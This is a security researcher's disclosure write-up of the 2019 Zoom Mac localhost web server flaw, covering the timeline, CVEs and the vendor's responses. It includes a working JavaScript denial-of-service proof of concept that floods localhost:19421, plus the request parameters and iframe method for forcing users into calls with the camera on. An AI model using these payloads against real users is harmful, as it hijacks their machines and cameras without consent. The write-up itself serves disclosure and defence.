## CVE-Numbers
DOS Vulnerability — Fixed in Client version 4.4.2 — CVE-2019–13449
Information Disclosure (Webcam) — Unpatched —CVE-2019–13450
## UPDATE — July 9th (am)
As far as I can tell this vulnerability also impacts Ringcentral. Ringcentral for their web conference system is a white labeled Zoom system.
## UPDATE — July 9th (pm)
According to Zoom, they will have a fix shipped by midnight tonight pacific time removing the hidden web server; hopefully this patches the most glaring parts of this vulnerability. The Zoom CEO has also assured us that they will be updating their application to further protect users privacy.
## Foreword
This vulnerability allows any website to forcibly join a user to a Zoom call, with their video camera activated, without the user's permission.
On top of this, this vulnerability would have allowed any webpage to DOS (Denial of Service) a Mac by repeatedly joining a user to an invalid call.
Additionally, if you’ve ever installed the Zoom client and then uninstalled it, you still have a localhost web server on your machine that will happily re-install the Zoom client for you, without requiring any user interaction on your behalf besides visiting a webpage. This re-install ‘feature’ continues to work to this day.
Yep, no joke.
This vulnerability leverages the amazingly simple Zoom feature where you can just send anyone a meeting link (for example https://zoom.us/j/492468757) and when they open that link in their browser their Zoom client is magically opened on their local machine. I was curious about how this amazing bit of functionality was implemented and how it had been implemented securely. Come to find out, it really hadn’t been implemented securely. Nor can I figure out a good way to do this that doesn’t require an additional bit of user interaction to be secure.
This vulnerability was originally responsibly disclosed on March 26, 2019. This initial report included a proposed description of a ‘quick fix’ Zoom could have implemented by simply changing their server logic. It took Zoom 10 days to confirm the vulnerability. The first actual meeting about how the vulnerability would be patched occurred on June 11th, 2019, only 18 days before the end of the 90-day public disclosure deadline. During this meeting, the details of the vulnerability were confirmed and Zoom’s planned solution was discussed. However, I was very easily able to spot and describe bypasses in their planned fix. At this point, Zoom was left with 18 days to resolve the vulnerability. On June 24th after 90 days of waiting, the last day before the public disclosure deadline, I discovered that Zoom had only implemented the ‘quick fix’ solution originally suggested.
Ultimately, Zoom failed at quickly confirming that the reported vulnerability actually existed and they failed at having a fix to the issue delivered to customers in a timely manner. An organization of this profile and with such a large user base should have been more proactive in protecting their users from attack.
## Timeline
Mar 8, 2019 — Requested security contact via Twitter (no response).
Mar 26, 2019 — Contacted Zoom Inc via email with 90-day public disclosure deadline. Offered a “quick fix” solution.
Mar 27, 2019
- Requested confirmation of reception.
- Informed that Zoom Security Engineer was Out of Office.
- Offered and declined a financial bounty for the report due to policy on not being able to publicly disclose even after the vulnerability was patched.
Apr 1, 2019 — Requested confirmation of vulnerability.
Apr 5, 2019 — Response from Zoom Security Engineer confirming and discussing severity. Settled on CVSSv3 score of 5.2/10.
Apr 10, 2019 — Vulnerability disclosed to Chromium security team.
Apr 18, 2019 — Updated Zoom with the suggestion from Chromium team.
Apr 19, 2019 — Vulnerability disclosed to Mozilla FireFox security team.
Apr 26, 2019 — Video call with Mozilla and Zoom Security Teams
Disclosed details of impending DNS expiration.
June 7, 2019 —Email from Zoom about a video call to discuss fix.
June 11, 2019 — Video call with Zoom Security team about impending disclosure. Discussed how Zoom’s planned patch was incomplete.
June 20, 2019 — Contacted about having another video call with Zoom Security Team. Declined by me due to calendar conflicts.
June 21, 2019 — Zoom reports vulnerability was fixed.
June 24, 2019 — 90-day public disclosure deadline ends. Vulnerability confirmed fixed with ‘quick fix’ solution.
July 7, 2019 — Regression in the fix causes the video camera vulnerability to work again.
July 8, 2019
- Regression fixed.
- Workaround discovered & disclosed.
- Public Disclosure.
## Details
On Mac, if you have ever installed Zoom, there is a web server on your local machine running on port 19421. You can confirm this server is present by running lsof -i :19421 in your terminal.
First off, let me start off by saying having an installed app that is running a web server on my local machine with a totally undocumented API feels incredibly sketchy to me. Secondly, the fact that any website that I visit can interact with this web server running on my machine is a huge red flag for me as a Security Researcher.
Here’s the code on the Zoom site that tipped me off to this localhost server.
My original thoughts when I learned that this web server existed was that if there is a buffer overflow anywhere in the parameter handling of this web server, someone could achieve RCE on my machine. That’s not what I’ve found, but that was my original thought process.
If you look at what’s logged to the web developer console when visiting one of those Zoom ‘join’ links, you should see something like this:
Browser console logs when visiting https://zoom.us/j/492468757
I also found that, instead of making a regular AJAX request, this page instead loads an image from the Zoom web server that is locally running. The different dimensions of the image dictate the error/status code of the server. You can see that case-switch logic here.
The two numbers are the pixel dimensions of the image returned by the web server.
The scary thing is that this enum seemed to indicate that this web server can do far more than just launch a Zoom meeting. What I found out was that this web server can also re-install the Zoom app if a user has uninstalled it, more on that later.
One question I asked is, why is this web server returning this data encoded in the dimensions of an image file? The reason is, it’s done to bypass Cross-Origin Resource Sharing (CORS). For very intentional reasons, the browser explicitly ignores any CORS policy for servers running on localhost.
Chrome does not support localhost for CORS requests (an open bug since 2010).
- https://stackoverflow.com/questions/10883211/deadly-cors-when-http-localhost-is-the-origin
I’m guessing that this is intentionally done for security reasons. Regardless, it seems that Zoom is abusing a hack to bypass CORS protection. More on that later.
## The Video Call Vulnerability
I created a personal meeting with a different account and cracked open Postman and started to remove parameters to see what the minimal GET request was that was required to launch a Zoom meeting.
There are a lot of random parameters that are sent to the localhost web server but the only ones that seem to matter are the following.
action=join
confno=[whatever the conference number is]
Using the following GET request from Postman I was successfully able to get my computer to join the Zoom call that the other account had created.
Once I had this, I started tinkering with what other “action” parameters I might be able to pass to get the client to do other things. I wasn’t able to find anything even after searching through the various public documents and the public ProtoBuff schema for hints about what hidden functionality may exist. Again, this webserver’s API is completely undocumented as far as I can tell and I’ve spent several hours searching for any mention of this Desktop web server in the official and unofficial documentation.
So now I had a minimal POC that I could use to maliciously get any user into a call, however, the default setting for the “New Meeting” is to allow the user to choose whether to join their Audio/Video. I would consider this alone a security vulnerability.
The above-described behavior continues to work to this day! You can still use this exploit to launch someone into a call without their permission.
I read about the Tenable Remote Code Execution in Zoom security vulnerability which was only patched within the last 6 months. Had the Tenable vulnerability been combined with this vulnerability it would have allowed RCE against any computer with the Zoom Mac client installed. If a similar future vulnerability were to be found, it would allow any website on the internet to achieve RCE on the user’s machine.
I advised Zoom that if they have any users that are still using Zoom 4.1.33259.0925 versions or lower, this would be a very potent attack.
So far, I could only achieve getting a user into a call without their permission. Although this has hypothetical security implications, I didn’t have a true exploit. I started tinkering with figuring out how to get someone’s camera activated. When setting up a meeting for work I was greeted with this screen.
You can choose to enable a participant’s video camera when they join the call.
Enabling “Participants: On” when setting up a meeting, I discovered that anyone joining my meeting automatically had their video connected.
When I got back to my personal machine, I tried this same functionality and found that it worked exactly the same.
This prompted me to create the Proof Of Concept below.
## Proof Of Concept
The local client Zoom web server is running as a background process, so to exploit this, a user doesn’t even need to be “running” (in the traditional sense) the Zoom app to be vulnerable.
One line, it’s really that simple.
Or if you want the video camera activated, just embed a Zoom join link in your site with an iframe.
All a website would need to do is embed the above in their website and any Zoom user will be instantly connected with their video running. This is still true today!
This could be embedded in malicious ads, or it could be used as a part of a phishing campaign. If I were actually an attacker, I’d probably invest some time to also include the incrementing port logic that the code in the Javascript running on Zoom’s site.
A fully working POC that you can test out yourself can be found at the link below. Warning: Clicking this link on Mac will launch you into a Zoom call!
https://jlleitschuh.org/zoom_vulnerability_poc/
A fully working POC that will launch you into a call with your video camera active can be found here. Warning: Clicking this link on Mac will launch you into a Zoom call with your camera activated!
https://jlleitschuh.org/zoom_vulnerability_poc/zoompwn_iframe.html
## Quick Fix
To fix the “auto join with video” part of the vulnerability, I advised Zoom on their backend server they immediately disable a meeting creator’s ability to automatically enable a participants video by default. I advised that this was 100%, not a complete fix. However, it could serve as a quick way to protect users from the invasion of privacy component of this attack.
I also advised that if there is hidden functionality where a meeting host can forcibly join computer audio (perhaps something I’m not seeing because I don’t have a Pro account), this should also be disabled.
I commented that allowing a host to choose whether or not a participant will automatically join with video should be considered it’s own standalone security vulnerability.
To this advisement, I received the following response:
Zoom believes in giving our customers the power to choose how they want to Zoom. This includes whether they want a seamless experience in joining a meeting with microphone and video automatically enabled, or if they want to manually enable these input devices after joining a meeting. Such configuration options are available in the Zoom Meeting client audio and video settings.
However, we also recognize the desire by some customers to have a confirmation dialog before joining a meeting. Based on your recommendations and feature requests from other customers, the Zoomteam [sic] is evaluating options for such a feature, as well as additional account level controls over user input device settings. We will be sure to keep you informed of our plans in this regard.
When responding to responsible disclosure, don’t go into PR spin mode. It’s counterproductive.
It’s important to note that the default configuration for Zoom is to allow a host to choose whether or not your camera is enabled or not by default.
Zoom did end up patching this vulnerability, but all they did was prevent the attacker from turning on the user’s video camera. They did not disable the ability for an attacker to forcibly join to a call anyone visiting a malicious site.
UPDATE: July 7th, 2019: There has been a regression in the fix implemented by Zoom thus allowing this vulnerability to be exploited with the video camera activated.
## The Denial Of Service (DOS) Vulnerability
This same vulnerability also allowed the attacker to DOS any user’s machine. By simply sending repeated GET requests for a bad number, Zoom app would constantly request ‘focus’ from the OS. The following simple POC demonstrated this vulnerability.
```javascript
<body>
<script>
// It's actually better if this number isn't a valid zoom number.
var attackNumber = "694138052"
setInterval(function(){
var image = document.createElement("img");
// Use a date to bust the browser's cache
var date = new Date();
image.src = "http://localhost:19421/launch?action=join&confno=" + attackNumber + "&" + date.getTime();
image.onload = function() {
// Be tidy, clean up the DOM afterwards
image.parentNode.removeChild(image);
};
document.body.appendChild(image);
}, 1);
</script>
</body>
```
Proof of concept for a DOS attack against any Zoom user on Mac
This DOS vulnerability was patched in version 4.4.2 of the Zoom client.
## The Install Vulnerability
If you have ever installed Zoom on your computer, this web server is installed. It continues to run if you uninstall Zoom from your computer.
This server also supports updating and installing a new version of Zoom in addition to launching a call. I did some additional decompilation of the Zoom web server to see the code path that these endpoints seemed to call.
Using Hopper Disassembler to disassemble the Objective-C bytecode of the web server I found the following method.
暂无评论